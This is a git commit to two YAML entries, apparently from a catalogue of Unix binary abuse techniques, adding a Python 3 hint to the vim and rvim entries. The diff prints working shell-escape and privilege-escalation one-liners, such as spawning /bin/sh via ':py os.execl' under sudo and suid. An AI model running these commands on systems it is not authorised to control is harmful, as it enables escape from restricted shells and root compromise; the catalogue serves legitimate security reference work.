Add Python 3 comment in vim and rvim

This commit is contained in:
Emilio Pinna 2018-12-18 13:31:22 +01:00
parent cda1654809
commit 9432a6ce3c
2 changed files with 7 additions and 7 deletions

View File

@ -1,10 +1,10 @@
--- ---
functions: functions:
shell: shell:
- description: This requires that `rvim` is compiled with Python support. - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
file-write: file-write:
- description: This requires that rvim is compiled with Python support. - description: This requires that rvim is compiled with Python support. Prepend `:py3` for Python 3.
code: | code: |
rvim file_to_write rvim file_to_write
iDATA iDATA
@ -13,9 +13,9 @@ functions:
file-read: file-read:
- code: rvim file_to_read - code: rvim file_to_read
suid: suid:
- description: This requires that `rvim` is compiled with Python support. - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo: sudo:
- description: This requires that `rvim` is compiled with Python support. - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
--- ---

View File

@ -6,7 +6,7 @@ functions:
vim vim
:set shell=/bin/sh :set shell=/bin/sh
:shell :shell
- description: This requires that `vim` is compiled with Python support. - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
file-write: file-write:
- code: | - code: |
@ -18,10 +18,10 @@ functions:
- code: vim file_to_read - code: vim file_to_read
suid: suid:
- code: ./vim -c ':!/bin/sh -p' - code: ./vim -c ':!/bin/sh -p'
- description: This requires that `vim` is compiled with Python support. - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo: sudo:
- code: sudo vim -c ':!/bin/sh' - code: sudo vim -c ':!/bin/sh'
- description: This requires that `vim` is compiled with Python support. - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
--- ---